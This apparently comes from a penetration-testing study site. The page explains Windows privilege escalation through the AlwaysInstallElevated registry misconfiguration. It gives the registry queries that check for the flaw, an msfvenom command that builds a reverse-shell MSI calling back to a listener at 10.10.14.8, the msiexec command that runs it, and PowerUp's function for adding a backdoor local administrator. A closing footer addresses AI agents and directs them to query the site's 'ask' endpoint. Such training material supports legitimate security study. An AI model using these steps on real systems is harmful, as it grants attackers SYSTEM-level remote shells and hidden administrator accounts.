# AlwaysInstallElevated

## Overview

**AlwaysInstallElevated** is a misconfiguration that installs all **msi** packages as **system**. Wheels spinning?

## Elevation via AlwaysInstallElevated

Query the registry for the misconfiguration

```powerquery
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

<figure><img src="/files/Yqr48vitkLTAvClMooHM" alt=""><figcaption><p>The machine is vulnerable if both values are set to 1</p></figcaption></figure>

Create a malicious msi file

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f msi -o rev.msi
</strong></code></pre>

Pop a shell

```powerquery
msiexec /i rev.msi
```

### Quick Win

You can get a quick win by using the **Write-UserAddMSI** function from PowerUp.

This function will add a backdoor user to the **Local Administrators Group**

{% hint style="info" %}
An RDP sessions is required for this
{% endhint %}

<figure><img src="/files/upDZgqgrz5MaYy9LsRIH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FUDtpTbTaNzonCzRNcrA" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/windows-privilege-escalation/registy/alwaysinstallelevated.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
